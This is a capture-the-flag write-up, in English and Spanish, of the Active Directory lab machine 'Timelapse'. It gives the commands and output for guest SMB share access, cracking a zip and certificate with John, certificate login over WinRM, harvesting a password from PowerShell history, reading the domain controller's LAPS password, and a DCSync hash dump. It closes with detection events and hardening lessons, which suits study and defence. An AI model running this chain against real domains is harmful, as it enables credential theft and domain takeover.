Timelapse

Executive summary — Timelapse is an Active Directory chain built from four chained credential-hygiene mistakes, without exploiting a single CVE: the guest account (no password) reads a share holding a WinRM certificate backup protected by two weak-password layers (zip and .pfx, both cracked with rockyou); the certificate authenticates over WinRM over HTTPS (5986) as legacyy — user.txt; legacyy's PowerShell history stores the plaintext password of the svc_deploy service account; and svc_deploy belongs to the LAPS_Readers group, which can read the local administrator password of the Domain Controller itself — root.txt and de-facto Domain Admin. The common thread: secrets reachable by whoever shouldn't be able to see them.

Attack map

[SMB/guest] \\Shares\Dev -> winrm_backup.zip
   |  two encrypted layers: zip (John -> supremelegacy) + .pfx (John -> thuglegacy)
   v
[cert legacyy] WinRM/SSL :5986 (evil-winrm -S -c -k) -> user.txt
   |
   v
[PSReadLine] ConsoleHost_history.txt -> svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV
   |
   v
[LDAP] svc_deploy in LAPS_Readers -> ms-Mcs-AdmPwd of DC01
   |
   v
[ROOT] Administrator (LAPS) -> root.txt + DCSync confirms the NT hash

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.227.113
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,5986,9389 -sCV -Pn -oN nmap-services.txt 10.129.227.113

A TTL of 127 confirms a Windows stack. The port spread — 53/88/389/445/464/636/3268/9389 — is the unmistakable signature of a Domain Controller: DNS, Kerberos, LDAP/LDAPS, SMB, kpasswd, Global Catalog and the AD DS web service. What stands out is that the exposed WinRM port is 5986 (HTTPS) instead of the usual 5985 (HTTP), with a CN=dc01.timelapse.htb certificate in the TLS handshake — already pointing at client certificate authentication instead of username/password.

echo "10.129.227.113 timelapse.htb dc01.timelapse.htb DC01" | sudo tee -a /etc/hosts

Resumen ejecutivo — Timelapse es una cadena de Active Directory de cuatro descuidos de higiene de credenciales encadenados sin explotar ningún CVE: la cuenta guest (sin contraseña) lee un share que contiene un backup de certificado WinRM protegido por dos capas de contraseña débil (zip y .pfx, ambas en rockyou); el certificado autentica por WinRM sobre HTTPS (5986) como legacyy — user.txt; el historial de PowerShell de legacyy guarda en texto plano la contraseña de la cuenta de servicio svc_deploy; y svc_deploy pertenece al grupo LAPS_Readers, que puede leer la contraseña del administrador local del propio Domain Controller — root.txt y Domain Admin de facto. El hilo conductor: secretos accesibles a quien no debería poder verlos.

Mapa del ataque

[SMB/guest] \\Shares\Dev -> winrm_backup.zip
   |  doble capa cifrada: zip (John -> supremelegacy) + .pfx (John -> thuglegacy)
   v
[cert legacyy] WinRM/SSL :5986 (evil-winrm -S -c -k) -> user.txt
   |
   v
[PSReadLine] ConsoleHost_history.txt -> svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV
   |
   v
[LDAP] svc_deploy en LAPS_Readers -> ms-Mcs-AdmPwd de DC01
   |
   v
[ROOT] Administrator (LAPS) -> root.txt + DCSync confirma el NT hash

1. Reconocimiento

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.227.113
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,5986,9389 -sCV -Pn -oN nmap-services.txt 10.129.227.113

Un TTL de 127 confirma pila Windows. El abanico de puertos — 53/88/389/445/464/636/3268/9389 — es la firma inequívoca de un Domain Controller: DNS, Kerberos, LDAP/LDAPS, SMB, kpasswd, Global Catalog y el servicio web de AD DS. El detalle que destaca es que el WinRM expuesto es el 5986 (HTTPS) y no el habitual 5985 (HTTP) — con certificado CN=dc01.timelapse.htb en la negociación TLS, lo que ya apunta a autenticación por certificado de cliente en vez de usuario/contraseña.

echo "10.129.227.113 timelapse.htb dc01.timelapse.htb DC01" | sudo tee -a /etc/hosts

2. Share as guest — certificate backup

A null SMB session doesn't enumerate shares on this DC, but the guest account, enabled and passwordless, does have read access — a reminder to always try both before writing SMB off:

netexec smb 10.129.227.113 -u 'guest' -p ''  --shares

Shares   READ

smbclient //10.129.227.113/Shares -U 'guest%' -c 'recurse ON; ls'

\Dev\winrm_backup.zip
\HelpDesk\LAPS.x64.msi + documentation   <- LAPS: already hints at the escalation vector

Those two files alone give away the whole box: a certificate backup that will provide the foothold, and LAPS documentation sitting right in the same share hinting at the escalation. Grabbing the backup:

smbclient //10.129.227.113/Shares -U 'guest%' -c 'cd Dev; get winrm_backup.zip'

The zip is password-protected. The first layer falls to John:

zip2john winrm_backup.zip > zip.hash
john --wordlist=rockyou.txt zip.hash
# winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy

unzip -P supremelegacy winrm_backup.zip
# extracts: legacyy_dev_auth.pfx

The .pfx (a PKCS#12 container bundling a certificate and its private key) has its own password, a second layer independent from the zip's:

pfx2john legacyy_dev_auth.pfx > pfx.hash
john --wordlist=rockyou.txt pfx.hash
# legacyy_dev_auth.pfx:thuglegacy

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes -password pass:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy.crt -password pass:thuglegacy
# subject=CN=Legacyy

Why this matters. Encrypting a certificate backup with dictionary-guessable passwords (rockyou has both) gives a false sense of security: the control exists on paper, but it doesn't survive a second of offline dictionary attacking. A client certificate should be protected with a real passphrase — or better, never left on a share with guest access in the first place.

3. Certificate-based WinRM — user.txt

Port 5986 accepts client certificate authentication. evil-winrm supports it with -S (SSL) and the certificate/key pair via -c/-k:

evil-winrm -i 10.129.227.113 -S -c legacyy.crt -k legacyy.key

*Evil-WinRM* PS> whoami
timelapse\legacyy

cat C:\Users\legacyy\Desktop\user.txt

715cf180374b3e933b081442114a6f88

user.txt: 715cf180374b3e933b081442114a6f88

4. From legacyy to svc_deploy — PowerShell history

legacyy belongs to the Development group, with no notable direct privileges. The next vector is one of the first files worth checking in any Windows user shell: the PSReadLine history, which persists every line typed at the console to disk — the exact equivalent of a .bash_history, and almost never cleared:

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...

svc_deploy's password sits there in the clear: E3R$Q62^12p7PLlC%KWaxuaV. Confirmed directly against WinRM:

netexec winrm 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
# (Pwn3d!)

Methodology lesson: the PSReadLine history is one of the first things worth checking after landing any Windows user shell. An operator who types a service account's password directly at the console, instead of using Get-Credential or a secrets manager, leaves it persisted to disk for whoever reads that file afterwards.

Why PSReadLine's filter didn't catch this. Since version 2.0.4, the module ships with automatic filtering that drops, before ever writing to disk, any line matching patterns like password, asplaintext, token, apikey or secret. But it's a lexical filter over the raw command text, not semantic analysis: here the variable is named $p, not $password, so the pattern never matches and the whole line — -AsPlainText included — still gets written to history. And on module versions older than 2.0.4 (what a Windows Server install still ships by default unless the module is updated from the PowerShell Gallery), that filter doesn't exist at all. Relying on automatic filtering as the only safeguard is doubly fragile: it depends both on the module version and on the variable happening to be named exactly what the pattern expects.

5. From svc_deploy to root — LAPS

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' --query "(sAMAccountName=svc_deploy)" "memberOf"

CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb

LAPS (Local Administrator Password Solution) periodically rotates each machine's local administrator password and stores it in the ms-Mcs-AdmPwd attribute of the computer object in AD. That attribute has the confidentiality bit set in the schema, so a plain "read property" permission isn't enough to see it — reading it requires the CONTROL_ACCESS extended right on the attribute (what shows up in permission delegation as "All Extended Rights", or more narrowly, the LAPS read-password right). The LAPS_Readers group has that right delegated on the DC's computer object — and svc_deploy is a member. On a Domain Controller, the local administrator is the domain administrator, so reading its LAPS password is equivalent to Domain Admin:

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps

Computer:DC01$  Password:R@r427[&7O,3+(wfXL5UAy}2

netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2'
# (Pwn3d!)
netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2' -X 'type C:\Users\TRX\Desktop\root.txt'

70b7ebf5c4a59f29604dca078f45743e

root.txt: 70b7ebf5c4a59f29604dca078f45743e — note the flag isn't under C:\Users\Administrator\Desktop but under C:\Users\TRX\Desktop, a different profile on the box; it pays to sweep every profile (gci C:\Users\*\Desktop) instead of assuming the default path.

Final confirmation of full domain control with a DCSync — pulling a user's secrets by replicating Directory Replication Service traffic, something only Domain Admins (or principals holding DS-Replication-Get-Changes rights) can do:

impacket-secretsdump 'timelapse.htb/administrator:R@r427[&7O,3+(wfXL5UAy}2@10.129.227.113' -just-dc-user administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a6a893073947e1a6e1c3a5ce18198c:::

6. Dead ends and notes

• A null SMB session (-u '' -p '') doesn't enumerate shares on this DC; only explicit guest works — always try both before writing SMB off.
• The exposed WinRM port is 5986 (HTTPS); 5985 (HTTP) isn't open, so any evil-winrm attempt without -S fails outright.
• The ~8h clock skew against the attacker box is irrelevant to this chain: no step relies on Kerberos (certificate auth and NTLM only), so clockskew never comes into play.
• This is a read-only attack on the directory (share, history, LAPS attribute, WinRM): no AD object is modified and no file is left behind on the target.

Vulnerability summary

Detection

• SMB authentication as guest followed by file reads on a DC — event 4624 (logon type 3) with Account Name: GUEST. In a hardened environment the guest account should be disabled and that event should never be able to occur at all.
• WinRM/5986 authentication with a client certificate from an IP that has never used that certificate before — the WinRM event log (Microsoft-Windows-WinRM/Operational) includes the certificate thumbprint used in the TLS handshake.
• Reads of the ms-Mcs-AdmPwd attribute by a service account — event 4662 in the Directory Service log carries the attribute's GUID, filterable by the account exercising the CONTROL_ACCESS right. Almost no service account should be generating that event day to day.
• ConsoleHost_history.txt itself is a forensic source: its modification time and most recent lines reveal what credentials an operator may have typed in a given session — useful both to an attacker and to later incident response.

Lessons learned

• An enabled, passwordless guest account is, in practice, an anonymous user with permissions — it should be disabled, and shares should be audited assuming it can read them.
• Encrypting a backup with a dictionary-guessable password provides the appearance of protection, not real security: a weak-password .zip or .pfx falls in seconds to John and rockyou.
• The PSReadLine history is Windows' .bash_history: any credential typed in an interactive session gets persisted to disk. Automate credentials via Get-Credential or a secrets manager, never on the command line.
• PSReadLine's keyword filter (since version 2.0.4) reduces the risk but doesn't eliminate it: it's a text match against variable and parameter names, not semantic analysis, so a variable named anything other than the watched patterns sails right through — keeping the module updated helps, but it's no substitute for never typing secrets at the console.
• Membership in LAPS_Readers is as sensitive as domain admin when the managed machine is the DC itself — only Tier-0 accounts should be able to read LAPS for a domain controller.
• An uncommon service account reading the ms-Mcs-AdmPwd attribute is a high-value detection signal (event 4662 in the Directory Service log) — almost nothing should be generating that event day to day.

2. Share con guest — backup de certificado

La sesión nula no enumera shares en este DC, pero la cuenta guest, habilitada y sin contraseña, sí tiene permiso de lectura — un recordatorio de que conviene probar siempre ambas vías antes de descartar SMB:

netexec smb 10.129.227.113 -u 'guest' -p ''  --shares

Shares   READ

smbclient //10.129.227.113/Shares -U 'guest%' -c 'recurse ON; ls'

\Dev\winrm_backup.zip
\HelpDesk\LAPS.x64.msi + documentación   <- LAPS: ya anticipa el vector de escalada

Con solo esos dos ficheros ya se intuye la máquina entera: un backup de certificado que dará el pie de entrada, y LAPS documentado en el propio share que dará la escalada. Se descarga el backup:

smbclient //10.129.227.113/Shares -U 'guest%' -c 'cd Dev; get winrm_backup.zip'

El zip está protegido con contraseña. La primera capa cae con John:

zip2john winrm_backup.zip > zip.hash
john --wordlist=rockyou.txt zip.hash
# winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy

unzip -P supremelegacy winrm_backup.zip
# extrae: legacyy_dev_auth.pfx

El .pfx (contenedor PKCS#12 con certificado + clave privada) lleva su propia contraseña, una segunda capa independiente de la del zip:

pfx2john legacyy_dev_auth.pfx > pfx.hash
john --wordlist=rockyou.txt pfx.hash
# legacyy_dev_auth.pfx:thuglegacy

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes -password pass:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy.crt -password pass:thuglegacy
# subject=CN=Legacyy

Por qué esto importa. Cifrar un backup de certificado con contraseñas de diccionario (rockyou las tiene ambas) da una falsa sensación de seguridad: el control existe sobre el papel, pero no resiste ni un ataque de diccionario offline en segundos. Un certificado de cliente debería protegerse con una contraseña de verdad, o mejor, no dejarse nunca en un share con acceso de invitado.

3. WinRM por certificado — user.txt

El 5986 acepta autenticación por certificado de cliente. evil-winrm lo soporta con -S (SSL) y el par certificado/clave vía -c/-k:

evil-winrm -i 10.129.227.113 -S -c legacyy.crt -k legacyy.key

*Evil-WinRM* PS> whoami
timelapse\legacyy

cat C:\Users\legacyy\Desktop\user.txt

715cf180374b3e933b081442114a6f88

user.txt: 715cf180374b3e933b081442114a6f88

4. De legacyy a svc_deploy — historial de PowerShell

legacyy pertenece al grupo Development, sin privilegios directos reseñables. El siguiente vector es uno de los primeros ficheros que conviene mirar en cualquier shell de usuario Windows: el historial de PSReadLine, que persiste en disco cada línea escrita en la consola — el equivalente exacto de un .bash_history, y casi nunca se limpia:

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...

La contraseña de svc_deploy queda expuesta en claro: E3R$Q62^12p7PLlC%KWaxuaV. Se confirma directamente contra WinRM:

netexec winrm 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
# (Pwn3d!)

Lección de metodología: el historial de PSReadLine es de las primeras cosas que hay que revisar tras conseguir cualquier shell de usuario en Windows. Un operador que escribe la contraseña de una cuenta de servicio directamente en la consola, en vez de usar Get-Credential o un gestor de secretos, la deja grabada en disco de forma persistente para cualquiera que lea ese fichero después.

Por qué el filtro de PSReadLine no lo evitó. Desde la versión 2.0.4, el módulo incorpora un filtrado automático que descarta antes de escribir a disco cualquier línea que contenga patrones como password, asplaintext, token, apikey o secret. Pero es un filtro léxico sobre el texto crudo del comando, no un análisis semántico: aquí la variable se llama $p y no $password, así que el patrón no coincide y la línea entera —-AsPlainText incluido— pasa igual al historial. Y en versiones del módulo anteriores a la 2.0.4 (las que trae por defecto una instalación de Windows Server sin actualizar el módulo desde la galería de PowerShell) ese filtro directamente no existe. Confiar en el filtrado automático como única defensa es frágil por partida doble: depende de la versión del módulo y de que la variable se llame justo como el patrón espera.

5. De svc_deploy a root — LAPS

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' --query "(sAMAccountName=svc_deploy)" "memberOf"

CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb

LAPS (Local Administrator Password Solution) rota periódicamente la contraseña del administrador local de cada equipo y la guarda en el atributo ms-Mcs-AdmPwd del objeto de equipo en AD. Ese atributo tiene marcado el bit de confidencialidad en el esquema, así que un simple permiso de "lectura de propiedad" no basta para verlo: hace falta tener concedido el derecho extendido CONTROL_ACCESS sobre él (lo que en la delegación de permisos aparece como "All Extended Rights" o, más específico, el derecho de lectura de LAPS). El grupo LAPS_Readers tiene ese derecho delegado sobre el objeto de equipo del DC — y svc_deploy es miembro. En un Domain Controller, el administrador local es el propio administrador del dominio, así que leer su LAPS equivale a Domain Admin:

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps

Computer:DC01$  Password:R@r427[&7O,3+(wfXL5UAy}2

netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2'
# (Pwn3d!)
netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2' -X 'type C:\Users\TRX\Desktop\root.txt'

70b7ebf5c4a59f29604dca078f45743e

root.txt: 70b7ebf5c4a59f29604dca078f45743e — nótese que la flag no está en C:\Users\Administrator\Desktop sino en C:\Users\TRX\Desktop, otra cuenta con perfil en el equipo; conviene barrer todos los perfiles (gci C:\Users\*\Desktop) en vez de asumir la ruta por defecto.

Confirmación final del control total del dominio con un DCSync — extraer los secretos de un usuario replicando el tráfico de Directory Replication Service, algo que solo Domain Admins (o cuentas con los derechos DS-Replication-Get-Changes) pueden hacer:

impacket-secretsdump 'timelapse.htb/administrator:R@r427[&7O,3+(wfXL5UAy}2@10.129.227.113' -just-dc-user administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a6a893073947e1a6e1c3a5ce18198c:::

6. Callejones sin salida y notas

• La sesión SMB nula (-u '' -p '') no enumera shares en este DC; solo funciona con guest explícito — probar siempre las dos variantes antes de descartar SMB.
• El WinRM expuesto es el 5986 (HTTPS); el 5985 (HTTP) no está abierto, así que cualquier intento con evil-winrm sin -S falla directamente.
• El desfase de reloj de ~8h respecto al atacante es irrelevante en esta cadena: no se usa Kerberos en ningún paso (autenticación por certificado y NTLM), así que el clockskew nunca entra en juego.
• Es un ataque de solo lectura sobre el directorio (share, historial, atributo LAPS, WinRM): no se modifica ningún objeto de AD ni se deja ningún fichero en el objetivo.

Resumen de vulnerabilidades

Detección

• Autenticación SMB de guest seguida de lectura de ficheros en un DC — evento 4624 (logon type 3) con Account Name: GUEST. En un entorno endurecido, la cuenta invitado debería estar deshabilitada y ese evento no debería poder producirse nunca.
• Autenticación WinRM/5986 con certificado de cliente desde una IP que nunca antes había usado ese certificado — el registro de eventos de WinRM (Microsoft-Windows-WinRM/Operational) incluye el thumbprint del certificado usado en la negociación TLS.
• Lectura del atributo ms-Mcs-AdmPwd por una cuenta de servicio — evento 4662 en el Directory Service log con el GUID del atributo, filtrando por el nombre de la cuenta que ejerce el derecho CONTROL_ACCESS. Casi ninguna cuenta de servicio necesita generar ese evento en el día a día.
• El propio ConsoleHost_history.txt es una fuente forense: su fecha de modificación y las líneas más recientes delatan qué credenciales pudo haber tecleado un operador en una sesión concreta, útil tanto para el atacante como para la respuesta a incidentes posterior.

Lecciones aprendidas

• Una cuenta guest habilitada y sin contraseña es, a efectos prácticos, un usuario anónimo con permisos — debe deshabilitarse, y los shares deben auditarse asumiendo que puede leerlos.
• Cifrar un backup con una contraseña de diccionario da protección de cara a la galería, no seguridad real: un .zip o .pfx con contraseña débil cae en segundos con John y rockyou.
• El historial de PSReadLine es el .bash_history de Windows: cualquier credencial escrita en una sesión interactiva queda persistida en disco. Automatizar credenciales vía Get-Credential o un gestor de secretos, nunca en línea de comandos.
• El filtro de palabras clave de PSReadLine (desde la versión 2.0.4) reduce el riesgo pero no lo elimina: es una coincidencia de texto sobre nombres de variable y parámetros, no un análisis semántico, así que una variable con nombre distinto a los patrones vigilados lo esquiva sin esfuerzo — mantener el módulo actualizado ayuda, pero no sustituye a no teclear secretos en la consola.
• La pertenencia a LAPS_Readers es tan sensible como ser administrador de dominio cuando el equipo gestionado es el propio DC — solo cuentas Tier-0 deberían poder leer LAPS de un controlador de dominio.
• La lectura del atributo ms-Mcs-AdmPwd por una cuenta de servicio poco habitual es una señal de detección de alto valor (evento 4662 en el Directory Service log) — casi nadie debería generar ese evento en el día a día.